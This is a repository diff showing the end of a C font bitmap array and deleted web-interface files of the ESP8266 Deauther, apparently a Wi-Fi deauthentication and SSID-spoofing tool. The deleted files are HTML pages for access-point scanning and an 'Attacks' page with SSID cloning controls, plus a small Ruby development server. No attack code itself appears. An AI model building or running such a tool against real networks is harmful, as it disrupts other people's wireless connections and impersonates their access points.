0xFF, 0xFF, 0x00, 0x05, // 127:65535
0xFF, 0xFF, 0x00, 0x05, // 128:65535
0xFF, 0xFF, 0x00, 0x05, // 129:65535
0xFF, 0xFF, 0x00, 0x05, // 130:65535
0xFF, 0xFF, 0x00, 0x05, // 131:65535
0xFF, 0xFF, 0x00, 0x05, // 132:65535
0xFF, 0xFF, 0x00, 0x05, // 133:65535
0xFF, 0xFF, 0x00, 0x05, // 134:65535
0xFF, 0xFF, 0x00, 0x05, // 135:65535
0xFF, 0xFF, 0x00, 0x05, // 136:65535
0xFF, 0xFF, 0x00, 0x05, // 137:65535
0xFF, 0xFF, 0x00, 0x05, // 138:65535
0xFF, 0xFF, 0x00, 0x05, // 139:65535
0xFF, 0xFF, 0x00, 0x05, // 140:65535
0xFF, 0xFF, 0x00, 0x05, // 141:65535
0xFF, 0xFF, 0x00, 0x05, // 142:65535
0xFF, 0xFF, 0x00, 0x05, // 143:65535
0xFF, 0xFF, 0x00, 0x05, // 144:65535
0xFF, 0xFF, 0x00, 0x05, // 145:65535
0xFF, 0xFF, 0x00, 0x05, // 146:65535
0xFF, 0xFF, 0x00, 0x05, // 147:65535
0xFF, 0xFF, 0x00, 0x05, // 148:65535
0xFF, 0xFF, 0x00, 0x05, // 149:65535
0xFF, 0xFF, 0x00, 0x05, // 150:65535
0xFF, 0xFF, 0x00, 0x05, // 151:65535
0xFF, 0xFF, 0x00, 0x05, // 152:65535
0xFF, 0xFF, 0x00, 0x05, // 153:65535
0xFF, 0xFF, 0x00, 0x05, // 154:65535
0xFF, 0xFF, 0x00, 0x05, // 155:65535
0xFF, 0xFF, 0x00, 0x05, // 156:65535
0xFF, 0xFF, 0x00, 0x05, // 157:65535
0xFF, 0xFF, 0x00, 0x05, // 158:65535
0xFF, 0xFF, 0x00, 0x05, // 159:65535
0xFF, 0xFF, 0x00, 0x05, // 160:65535
0x02, 0xEB, 0x06, 0x05, // 161:747
0x02, 0xF1, 0x09, 0x06, // 162:753
0x02, 0xFA, 0x09, 0x05, // 163:762
0x03, 0x03, 0x09, 0x06, // 164:771
0x03, 0x0C, 0x09, 0x05, // 165:780
0x03, 0x15, 0x06, 0x05, // 166:789
0x03, 0x1B, 0x0A, 0x06, // 167:795
0x03, 0x25, 0x07, 0x05, // 168:805
0x03, 0x2C, 0x09, 0x06, // 169:812
0x03, 0x35, 0x07, 0x05, // 170:821
0x03, 0x3C, 0x07, 0x05, // 171:828
0x03, 0x43, 0x07, 0x05, // 172:835
0x03, 0x4A, 0x07, 0x05, // 173:842
0x03, 0x51, 0x09, 0x06, // 174:849
0x03, 0x5A, 0x07, 0x05, // 175:858
0x03, 0x61, 0x05, 0x05, // 176:865
0x03, 0x66, 0x07, 0x05, // 177:870
0x03, 0x6D, 0x07, 0x05, // 178:877
0x03, 0x74, 0x07, 0x05, // 179:884
0x03, 0x7B, 0x05, 0x05, // 180:891
0x03, 0x80, 0x07, 0x05, // 181:896
0x03, 0x87, 0x07, 0x05, // 182:903
0x03, 0x8E, 0x05, 0x05, // 183:910
0x03, 0x93, 0x06, 0x05, // 184:915
0x03, 0x99, 0x05, 0x05, // 185:921
0x03, 0x9E, 0x07, 0x05, // 186:926
0x03, 0xA5, 0x09, 0x05, // 187:933
0x03, 0xAE, 0x07, 0x05, // 188:942
0x03, 0xB5, 0x09, 0x05, // 189:949
0x03, 0xBE, 0x07, 0x05, // 190:958
0x03, 0xC5, 0x08, 0x05, // 191:965
0x03, 0xCD, 0x07, 0x05, // 192:973
0x03, 0xD4, 0x07, 0x05, // 193:980
0x03, 0xDB, 0x07, 0x05, // 194:987
0x03, 0xE2, 0x07, 0x05, // 195:994
0x03, 0xE9, 0x07, 0x05, // 196:1001
0x03, 0xF0, 0x07, 0x05, // 197:1008
0x03, 0xF7, 0x09, 0x06, // 198:1015
0x04, 0x00, 0x09, 0x06, // 199:1024
0x04, 0x09, 0x09, 0x05, // 200:1033
0x04, 0x12, 0x09, 0x05, // 201:1042
0x04, 0x1B, 0x09, 0x05, // 202:1051
0x04, 0x24, 0x09, 0x05, // 203:1060
0x04, 0x2D, 0x07, 0x05, // 204:1069
0x04, 0x34, 0x07, 0x05, // 205:1076
0x04, 0x3B, 0x07, 0x05, // 206:1083
0x04, 0x42, 0x07, 0x05, // 207:1090
0x04, 0x49, 0x09, 0x06, // 208:1097
0x04, 0x52, 0x09, 0x06, // 209:1106
0x04, 0x5B, 0x09, 0x06, // 210:1115
0x04, 0x64, 0x09, 0x06, // 211:1124
0x04, 0x6D, 0x09, 0x06, // 212:1133
0x04, 0x76, 0x09, 0x06, // 213:1142
0x04, 0x7F, 0x09, 0x06, // 214:1151
0x04, 0x88, 0x07, 0x05, // 215:1160
0x04, 0x8F, 0x09, 0x06, // 216:1167
0x04, 0x98, 0x09, 0x06, // 217:1176
0x04, 0xA1, 0x09, 0x06, // 218:1185
0x04, 0xAA, 0x09, 0x06, // 219:1194
0x04, 0xB3, 0x09, 0x06, // 220:1203
0x04, 0xBC, 0x09, 0x05, // 221:1212
0x04, 0xC5, 0x09, 0x05, // 222:1221
0x04, 0xCE, 0x09, 0x05, // 223:1230
0x04, 0xD7, 0x09, 0x05, // 224:1239
0x04, 0xE0, 0x09, 0x05, // 225:1248
0x04, 0xE9, 0x09, 0x05, // 226:1257
0x04, 0xF2, 0x09, 0x05, // 227:1266
0x04, 0xFB, 0x09, 0x05, // 228:1275
0x05, 0x04, 0x09, 0x05, // 229:1284
0x05, 0x0D, 0x0B, 0x06, // 230:1293
0x05, 0x18, 0x08, 0x06, // 231:1304
0x05, 0x20, 0x07, 0x05, // 232:1312
0x05, 0x27, 0x07, 0x05, // 233:1319
0x05, 0x2E, 0x07, 0x05, // 234:1326
0x05, 0x35, 0x07, 0x05, // 235:1333
0x05, 0x3C, 0x07, 0x05, // 236:1340
0x05, 0x43, 0x07, 0x05, // 237:1347
0x05, 0x4A, 0x07, 0x05, // 238:1354
0x05, 0x51, 0x07, 0x05, // 239:1361
0x05, 0x58, 0x09, 0x06, // 240:1368
0x05, 0x61, 0x09, 0x06, // 241:1377
0x05, 0x6A, 0x09, 0x06, // 242:1386
0x05, 0x73, 0x09, 0x06, // 243:1395
0x05, 0x7C, 0x09, 0x06, // 244:1404
0x05, 0x85, 0x09, 0x06, // 245:1413
0x05, 0x8E, 0x09, 0x06, // 246:1422
0x05, 0x97, 0x07, 0x05, // 247:1431
0x05, 0x9E, 0x09, 0x06, // 248:1438
0x05, 0xA7, 0x09, 0x06, // 249:1447
0x05, 0xB0, 0x09, 0x06, // 250:1456
0x05, 0xB9, 0x09, 0x06, // 251:1465
0x05, 0xC2, 0x09, 0x06, // 252:1474
0x05, 0xCB, 0x07, 0x05, // 253:1483
0x05, 0xD2, 0x09, 0x06, // 254:1490
0x05, 0xDB, 0x07, 0x05, // 255:1499
// Font Data:
0x00, 0x00, 0x00, 0x00, 0xF8, // 33
0x00, 0x00, 0x18, 0x00, 0x18, // 34
0x40, 0x00, 0xF8, 0x00, 0xD0, 0x00, 0x78, 0x00, 0x10, // 35
0x00, 0x00, 0x98, 0x00, 0x24, 0x01, 0xE8, // 36
0x00, 0x00, 0x18, 0x00, 0x78, 0x00, 0xD0, 0x00, 0xA0, 0x00, 0x40, // 37
0x00, 0x00, 0xD0, 0x00, 0xA8, 0x00, 0xD8, 0x00, 0xC0, // 38
0x00, 0x00, 0x00, 0x00, 0x18, // 39
0x00, 0x00, 0xF0, 0x00, 0x0C, 0x01, // 40
0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0xF0, // 41
0x20, 0x00, 0x60, 0x00, 0x30, 0x00, 0xE0, 0x00, 0x20, // 42
0x20, 0x00, 0x20, 0x00, 0x78, 0x00, 0x20, 0x00, 0x20, // 43
0x00, 0x00, 0x00, 0x00, 0x80, 0x01, // 44
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, // 45
0x00, 0x00, 0x00, 0x00, 0x80, // 46
0x00, 0x00, 0x80, 0x01, 0x70, 0x00, 0x08, // 47
0x00, 0x00, 0x70, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0x70, // 48
0x00, 0x00, 0x08, 0x00, 0xF8, // 49
0x00, 0x00, 0x98, 0x00, 0xC8, 0x00, 0xB8, 0x00, 0x80, // 50
0x00, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xD0, // 51
0x40, 0x00, 0x60, 0x00, 0x50, 0x00, 0xF8, 0x00, 0x40, // 52
0x40, 0x00, 0x98, 0x00, 0x98, 0x00, 0xE8, // 53
0x00, 0x00, 0x70, 0x00, 0x98, 0x00, 0xF8, // 54
0x08, 0x00, 0xC8, 0x00, 0x38, 0x00, 0x08, // 55
0x00, 0x00, 0xD8, 0x00, 0xA8, 0x00, 0xF8, // 56
0x00, 0x00, 0x18, 0x00, 0xA8, 0x00, 0xF8, 0x00, 0x20, // 57
0x00, 0x00, 0x00, 0x00, 0x90, // 58
0x00, 0x00, 0x00, 0x00, 0x10, 0x01, // 59
0x00, 0x00, 0x20, 0x00, 0x60, 0x00, 0x50, 0x00, 0x10, // 60
0x00, 0x00, 0x50, 0x00, 0x50, 0x00, 0x50, // 61
0x00, 0x00, 0x50, 0x00, 0x60, 0x00, 0x20, 0x00, 0x20, // 62
0x00, 0x00, 0x08, 0x00, 0xE8, 0x00, 0x18, // 63
0x00, 0x00, 0x70, 0x00, 0xB8, 0x00, 0x78, 0x00, 0x48, 0x00, 0x30, // 64
0x80, 0x00, 0x70, 0x00, 0x58, 0x00, 0xE0, // 65
0x00, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0xF8, // 66
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x00, 0xD8, // 67
0x00, 0x00, 0xF8, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 68
0x00, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0x88, // 69
0x00, 0x00, 0xF8, 0x00, 0x28, 0x00, 0x28, 0x00, 0x08, // 70
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0xA8, 0x00, 0xE8, // 71
0x00, 0x00, 0xF8, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, // 72
0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x88, // 73
0x40, 0x00, 0x80, 0x00, 0x80, 0x00, 0x78, // 74
0x00, 0x00, 0xF8, 0x00, 0x20, 0x00, 0x50, 0x00, 0x88, // 75
0x00, 0x00, 0xF8, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, // 76
0x00, 0x00, 0xF8, 0x00, 0x30, 0x00, 0x30, 0x00, 0xF8, // 77
0x00, 0x00, 0xF8, 0x00, 0x30, 0x00, 0x40, 0x00, 0xF8, // 78
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 79
0x00, 0x00, 0xF8, 0x00, 0x28, 0x00, 0x28, 0x00, 0x10, // 80
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, 0x01, // 81
0x00, 0x00, 0xF8, 0x00, 0x28, 0x00, 0xF8, // 82
0x00, 0x00, 0xD8, 0x00, 0xA8, 0x00, 0xA8, 0x00, 0xC0, // 83
0x08, 0x00, 0x08, 0x00, 0xF8, 0x00, 0x08, 0x00, 0x08, // 84
0x00, 0x00, 0x78, 0x00, 0x80, 0x00, 0x80, 0x00, 0x78, // 85
0x08, 0x00, 0x70, 0x00, 0xC0, 0x00, 0x38, // 86
0x38, 0x00, 0xF0, 0x00, 0x78, 0x00, 0xF0, 0x00, 0x08, // 87
0x00, 0x00, 0xD8, 0x00, 0x20, 0x00, 0xD8, // 88
0x08, 0x00, 0x10, 0x00, 0xE0, 0x00, 0x18, // 89
0x00, 0x00, 0xC8, 0x00, 0xA8, 0x00, 0x98, 0x00, 0x88, // 90
0x00, 0x00, 0x00, 0x00, 0xFE, 0x01, 0x02, 0x01, // 91
0x00, 0x00, 0x18, 0x00, 0x60, 0x00, 0x80, 0x01, // 92
0x00, 0x00, 0x02, 0x01, 0xFE, 0x01, // 93
0x00, 0x00, 0x30, 0x00, 0x18, 0x00, 0x20, // 94
0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 95
0x00, 0x00, 0x00, 0x00, 0x08, // 96
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xB0, 0x00, 0xE0, // 97
0x00, 0x00, 0xF8, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 98
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, // 99
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0xF8, // 100
0x00, 0x00, 0x60, 0x00, 0xB0, 0x00, 0xB0, // 101
0x00, 0x00, 0x10, 0x00, 0xF8, 0x00, 0x14, 0x00, 0x14, // 102
0x00, 0x00, 0x60, 0x01, 0x90, 0x01, 0x90, 0x01, 0xF0, 0x01, // 103
0x00, 0x00, 0xF8, 0x00, 0x10, 0x00, 0x10, 0x00, 0xF0, // 104
0x00, 0x00, 0x90, 0x00, 0xF8, 0x00, 0x80, // 105
0x00, 0x00, 0x00, 0x01, 0x10, 0x01, 0xF0, 0x01, // 106
0x00, 0x00, 0xF8, 0x00, 0x20, 0x00, 0x50, 0x00, 0x80, // 107
0x00, 0x00, 0x88, 0x00, 0xF8, 0x00, 0x80, // 108
0x00, 0x00, 0xF0, 0x00, 0x10, 0x00, 0xF0, 0x00, 0x10, 0x00, 0xF0, // 109
0x00, 0x00, 0xF0, 0x00, 0x10, 0x00, 0x10, 0x00, 0xF0, // 110
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 111
0x00, 0x00, 0xF0, 0x01, 0x90, 0x00, 0x90, 0x00, 0x60, // 112
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0xF0, 0x01, // 113
0x00, 0x00, 0xF0, 0x00, 0x10, 0x00, 0x10, // 114
0x00, 0x00, 0xB0, 0x00, 0xD0, 0x00, 0xD0, // 115
0x00, 0x00, 0x10, 0x00, 0xF8, 0x00, 0x90, 0x00, 0x90, // 116
0x00, 0x00, 0xF0, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF0, // 117
0x10, 0x00, 0x60, 0x00, 0xC0, 0x00, 0x30, // 118
0x70, 0x00, 0xE0, 0x00, 0x70, 0x00, 0xE0, 0x00, 0x10, // 119
0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0x90, // 120
0x10, 0x00, 0x60, 0x01, 0xC0, 0x00, 0x30, // 121
0x00, 0x00, 0x90, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0x80, // 122
0x00, 0x00, 0x40, 0x00, 0xB8, 0x01, 0x04, 0x02, // 123
0x00, 0x00, 0x00, 0x00, 0xF8, 0x01, // 124
0x00, 0x00, 0x04, 0x02, 0xB8, 0x01, 0x40, // 125
0x40, 0x00, 0x20, 0x00, 0x40, 0x00, 0x40, 0x00, 0x20, // 126
0x00, 0x00, 0x00, 0x00, 0xF0, 0x01, // 161
0x00, 0x00, 0xE0, 0x00, 0x20, 0x01, 0x10, 0x01, 0xA0, // 162
0xA0, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0x88, 0x00, 0x80, // 163
0x00, 0x00, 0xF0, 0x00, 0x90, 0x00, 0x90, 0x00, 0xF0, // 164
0x08, 0x00, 0x70, 0x00, 0xE0, 0x00, 0x70, 0x00, 0x68, // 165
0x00, 0x00, 0x00, 0x00, 0xF8, 0x01, // 166
0x00, 0x00, 0x78, 0x01, 0xA8, 0x02, 0xA8, 0x02, 0x58, 0x01, // 167
0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168
0x00, 0x00, 0x60, 0x00, 0xD0, 0x00, 0x90, 0x00, 0x60, // 169
0x00, 0x00, 0x38, 0x00, 0x28, 0x00, 0x30, // 170
0x00, 0x00, 0x40, 0x00, 0xE0, 0x00, 0xA0, // 171
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x60, // 172
0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, // 173
0x00, 0x00, 0x60, 0x00, 0xF0, 0x00, 0x90, 0x00, 0x60, // 174
0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175
0x00, 0x00, 0x08, 0x00, 0x08, // 176
0x20, 0x00, 0xA0, 0x00, 0xF8, 0x00, 0xA0, // 177
0x00, 0x00, 0x28, 0x00, 0x38, 0x00, 0x20, // 178
0x00, 0x00, 0x08, 0x00, 0x38, 0x00, 0x08, // 179
0x00, 0x00, 0x00, 0x00, 0x08, // 180
0x00, 0x00, 0xF0, 0x01, 0x00, 0x01, 0xF0, // 181
0x00, 0x00, 0x38, 0x00, 0x38, 0x00, 0xF8, // 182
0x00, 0x00, 0x00, 0x00, 0x20, // 183
0x00, 0x00, 0x00, 0x00, 0x00, 0x01, // 184
0x00, 0x00, 0x08, 0x00, 0x38, // 185
0x00, 0x00, 0x38, 0x00, 0x28, 0x00, 0x10, // 186
0x00, 0x00, 0x40, 0x00, 0x20, 0x00, 0x70, 0x00, 0x20, // 187
0x08, 0x00, 0x78, 0x00, 0xF0, 0x00, 0xE0, // 188
0x08, 0x00, 0x78, 0x00, 0x20, 0x00, 0xB0, 0x00, 0x60, // 189
0x08, 0x00, 0x70, 0x00, 0x90, 0x00, 0xE0, // 190
0x00, 0x00, 0x80, 0x01, 0x70, 0x01, 0x00, 0x01, // 191
0x80, 0x00, 0x72, 0x00, 0x5C, 0x00, 0xE0, // 192
0x80, 0x00, 0x70, 0x00, 0x5C, 0x00, 0xE2, // 193
0x80, 0x00, 0x72, 0x00, 0x5A, 0x00, 0xE0, // 194
0x80, 0x00, 0x72, 0x00, 0x5A, 0x00, 0xE2, // 195
0x80, 0x00, 0x72, 0x00, 0x58, 0x00, 0xE2, // 196
0x80, 0x00, 0x70, 0x00, 0x5E, 0x00, 0xE0, // 197
0x00, 0x00, 0xE0, 0x00, 0x58, 0x00, 0xF8, 0x00, 0xA8, // 198
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x88, 0x01, 0xD8, // 199
0x00, 0x00, 0xF8, 0x00, 0xAA, 0x00, 0xA8, 0x00, 0x88, // 200
0x00, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0xAA, 0x00, 0x88, // 201
0x00, 0x00, 0xF8, 0x00, 0xAA, 0x00, 0xAA, 0x00, 0x88, // 202
0x00, 0x00, 0xFA, 0x00, 0xA8, 0x00, 0xAA, 0x00, 0x88, // 203
0x00, 0x00, 0x8A, 0x00, 0xFC, 0x00, 0x88, // 204
0x00, 0x00, 0x88, 0x00, 0xFC, 0x00, 0x8A, // 205
0x00, 0x00, 0x8A, 0x00, 0xFA, 0x00, 0x88, // 206
0x00, 0x00, 0x8A, 0x00, 0xF8, 0x00, 0x88, // 207
0x20, 0x00, 0xF8, 0x00, 0xA8, 0x00, 0x88, 0x00, 0x70, // 208
0x00, 0x00, 0xF8, 0x00, 0x32, 0x00, 0x42, 0x00, 0xF8, // 209
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x88, 0x00, 0x70, // 210
0x00, 0x00, 0x70, 0x00, 0x88, 0x00, 0x8A, 0x00, 0x70, // 211
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x8A, 0x00, 0x70, // 212
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x8A, 0x00, 0x70, // 213
0x00, 0x00, 0x70, 0x00, 0x8A, 0x00, 0x88, 0x00, 0x72, // 214
0x00, 0x00, 0x50, 0x00, 0x20, 0x00, 0x50, // 215
0x00, 0x00, 0x70, 0x01, 0xA8, 0x00, 0xA8, 0x00, 0x78, // 216
0x00, 0x00, 0x78, 0x00, 0x82, 0x00, 0x80, 0x00, 0x78, // 217
0x00, 0x00, 0x78, 0x00, 0x80, 0x00, 0x82, 0x00, 0x78, // 218
0x00, 0x00, 0x78, 0x00, 0x82, 0x00, 0x82, 0x00, 0x78, // 219
0x00, 0x00, 0x78, 0x00, 0x82, 0x00, 0x80, 0x00, 0x7A, // 220
0x08, 0x00, 0x10, 0x00, 0xE4, 0x00, 0x12, 0x00, 0x08, // 221
0x00, 0x00, 0xF8, 0x00, 0x50, 0x00, 0x50, 0x00, 0x20, // 222
0x00, 0x00, 0xF8, 0x00, 0x84, 0x00, 0xBC, 0x00, 0x40, // 223
0x00, 0x00, 0xE0, 0x00, 0xB8, 0x00, 0xB0, 0x00, 0xE0, // 224
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xB0, 0x00, 0xE0, // 225
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xB8, 0x00, 0xE0, // 226
0x00, 0x00, 0xD8, 0x00, 0xB8, 0x00, 0xB8, 0x00, 0xE0, // 227
0x00, 0x00, 0xD8, 0x00, 0xB0, 0x00, 0xB8, 0x00, 0xE0, // 228
0x00, 0x00, 0xD0, 0x00, 0xBC, 0x00, 0xB0, 0x00, 0xE0, // 229
0x00, 0x00, 0xD0, 0x00, 0xB0, 0x00, 0xF0, 0x00, 0xB0, 0x00, 0x20, // 230
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x01, // 231
0x00, 0x00, 0x60, 0x00, 0xB8, 0x00, 0xB0, // 232
0x00, 0x00, 0x60, 0x00, 0xB0, 0x00, 0xB0, // 233
0x00, 0x00, 0x60, 0x00, 0xB0, 0x00, 0xB8, // 234
0x00, 0x00, 0x68, 0x00, 0xB0, 0x00, 0xB8, // 235
0x00, 0x00, 0x90, 0x00, 0xF8, 0x00, 0x80, // 236
0x00, 0x00, 0x90, 0x00, 0xF8, 0x00, 0x80, // 237
0x00, 0x00, 0x98, 0x00, 0xF8, 0x00, 0x88, // 238
0x00, 0x00, 0x98, 0x00, 0xF0, 0x00, 0x88, // 239
0x00, 0x00, 0x60, 0x00, 0x9C, 0x00, 0x98, 0x00, 0x74, // 240
0x00, 0x00, 0xF8, 0x00, 0x18, 0x00, 0x18, 0x00, 0xF0, // 241
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 242
0x00, 0x00, 0x60, 0x00, 0x90, 0x00, 0x90, 0x00, 0x60, // 243
0x00, 0x00, 0x60, 0x00, 0x98, 0x00, 0x98, 0x00, 0x60, // 244
0x00, 0x00, 0x60, 0x00, 0x98, 0x00, 0x98, 0x00, 0x60, // 245
0x00, 0x00, 0x60, 0x00, 0x98, 0x00, 0x90, 0x00, 0x68, // 246
0x20, 0x00, 0x20, 0x00, 0x68, 0x00, 0x20, // 247
0x00, 0x00, 0x60, 0x00, 0xF0, 0x00, 0x90, 0x00, 0x60, // 248
0x00, 0x00, 0xF0, 0x00, 0x88, 0x00, 0x80, 0x00, 0xF0, // 249
0x00, 0x00, 0xF0, 0x00, 0x80, 0x00, 0x88, 0x00, 0xF0, // 250
0x00, 0x00, 0xF0, 0x00, 0x88, 0x00, 0x88, 0x00, 0xF0, // 251
0x00, 0x00, 0xF8, 0x00, 0x80, 0x00, 0x88, 0x00, 0xF0, // 252
0x10, 0x00, 0x60, 0x01, 0xC8, 0x00, 0x30, // 253
0x00, 0x00, 0xFC, 0x01, 0x90, 0x00, 0x90, 0x00, 0x60, // 254
0x10, 0x00, 0x68, 0x01, 0xC0, 0x00, 0x38 // 255
};
#endif

View File

@ -1,66 +0,0 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<div id="error" class="hide"></div>
<h1 class="header">{h1}</h1>
<a id="scanInfo" class="left labelFix">{a1}</a>
<button onclick="scan()" id="apScanStart" class="right button-primary">{button1}</button>
<p class="clear">
{p1} <span id="networksFound">0</span><br />
{p2} <span id="apMAC"></span><br />
<br />
<span id="selectAllBtns" style="visibility:'hidden'">
<button class="marginNull button-primary left" onclick="select(-2)">{button2}</button>
<button class="marginNull button-primary right" onclick="select(-1)">{button3}</button>
<br />
</span>
</p>
<table></table>
<p class="small">
<span class="red">{p3} </span><span class="bold">{p4}</span>
<br />
<br />
</p>
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
<script data-src="js/apscan.js"></script>
</body>
</html>

View File

@ -1,125 +0,0 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<div id="error" class="hide"></div>
<h1 class="header">{h1}</h1>
<p class="bold">{p1} <button onclick='cloneSelected()'>{button1}</button></p>
<ul id="selectedAPs"></ul>
<p class="bold">{p2}</p>
<ul id="selectedClients"></ul>
<table></table>
<label class="left">
<input type="number" id="randomIntrvl" value="5" min="1" max="65000"/>s
</label>
<button class="right" id="randomBtn" onclick="random()">{button2}</button>
<p class="clear">
<br />
<span class="red">{p3} </span><span class="bold">{p4}</span><br />
{p5}
</p>
<hr />
</div>
</div>
<div class="row">
<div class="col-6">
<label for="ssid">{label1}</label>
</div>
<div class="col-6">
<input type="text" id="ssid" minlength="1" maxlength="32" placeholder="{placeholder1}" />
</div>
</div>
<div class="row">
<div class="col-6">
<label for="num">{label2}</label>
</div>
<div class="col-6">
<input type="number" id="num" min="0" max="48" value="0" />
</div>
</div>
<div class="row">
<div class="col-6">
<label for="enc">{label3}</label>
</div>
<div class="col-6">
<input type="checkbox" id="enc" name="enc" />
</div>
</div>
<div class="row">
<div class="col-12">
<button class="button-primary col-4" onclick="addSSID()">{button3}</button>
<hr />
<p class="left">{p6} <span id="ssidCounter">0/48</span></p>
<div class="right">
<button class="red" onclick="clearSSID()">{button4}</button>
<button onclick="randomSSID()">{button5}</button>
</div>
<table></table>
<button class="marginNull red" onclick="resetSSID()">{button6}</button>
<button class="marginNull button-primary right" onclick="saveSSID()">{button7}</button>
<p class="small" id="saved">{p7}</p>
<p>
<br />
<span class="bold">{p8}</span><br />
{p9}<br />
<br />
<span class="bold">{pa}</span><br />
{pb}<br />
<br />
<span class="bold">{pc}</span><br />
{pd}
</p>
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
<script data-src="js/attack.js"></script>
</body>
</html>

View File

@ -1,32 +0,0 @@
#
# this is a small ruby webserver for fast UI development
# make sure you have ruby and rack gem
#
# $ sudo gem install rack
#
# once installed, run this:
#
# $ rackup config.ru
#
# and access the given port on localhost
#
require "net/http"
require "uri"
# app root
@root = File.expand_path(File.dirname(__FILE__))
run Proc.new { |env|
request = Rack::Request.new(env)
path = Rack::Utils.unescape(env['PATH_INFO'])
index_file = @root + "#{path}/index.html"
if File.exists?(index_file)
# Return the index
[200, {'Content-Type' => 'text/html'}, [File.read(index_file)]]
else
# Pass the request to the directory app
Rack::Directory.new(@root).call(env)
end
}

View File

@ -1,36 +0,0 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js"></script>
</head>
<body>
<nav>
<a href="apscan.html">{APs}</a>
<a href="stations.html">{Stations}</a>
<a href="attack.html">{Attacks}</a>
<a href="settings.html">{Settings}</a>
<a class="right" href="info.html">{Info}</a>
</nav>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header">{h1}</h1>
<p class="centered bold"><br />{p1}</p>
<div id="copyright">
Version 1.6<br />
Copyright (c) 2017 Stefan Kremser<br />
<a href="https://github.com/spacehuhn" target="_blank">github.com/spacehuhn</a>
</div>
</div>
</div>
</div>
<script src="js/l10n.js" async defer></script>
</body>
</html>

Binary file not shown.

Before

Width:  |  Height:  |  Size: 5.4 KiB

View File

@ -1,47 +0,0 @@
<!Doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=0.8, minimal-ui">
<meta name="description" content="Wi-Fi Deauthenticator">
<meta name="author" content="Spacehuhn - Stefan Kremser">
<meta name="theme-color" content="#36393E" />
<title>ESP8266 Deauther</title>
<link rel="stylesheet" href="style.css">
<script src="js/functions.js" defer async></script>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-12">
<h1 class="header">{h1}</h1>
<p class="centered bold">
{p1}<br />
{p2}<br />
<br />
